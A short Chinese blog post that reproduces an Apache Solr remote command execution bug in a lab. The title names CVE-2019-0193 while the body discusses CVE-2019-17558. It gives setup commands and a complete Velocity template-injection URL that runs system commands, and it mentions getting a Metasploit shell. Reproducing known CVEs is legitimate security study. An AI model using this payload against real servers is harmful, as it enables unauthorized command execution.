CVE-2019-0193 Apache Solr 远程命令执行漏洞复现

背景

Apache Solr官方发布了CVE-2019-17558漏洞预警,漏洞危害评级为严重

影响范围

Apache Solr <= 8.3.1

具体漏洞原理和POC可以参考:

- https://nvd.nist.gov/vuln/detail/CVE-2019-17558
- https://issues.apache.org/jira/browse/SOLR-13971
- https://gist.github.com/s00py/a1ba36a3689fa13759ff910e179fc133
- https://github.com/jas502n/solr_rce

安装环境

wget http://archive.solr/8.2.0/solr-8.2.0.zip

unzip solr-8.2.0.zip

cd solr-8.2.0/bin

./solr -e dih -force

我这里用的vulhub,搭建在VPS上

 

1.首先访问这个页面,查看name的值

 

2.然后POST直接把这个包发过去

 

 

 

3.最后GET请求执行命令。id处即为命令执行的地方

http://45.77.127.27:8983/solr/test/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

 

成功执行命令

 

 

 

MSF里面也有sori脚本可以直接拿meterpreter!

 

posted @ 2021-05-08 15:18  paku  阅读(161)  评论(0编辑  收藏  举报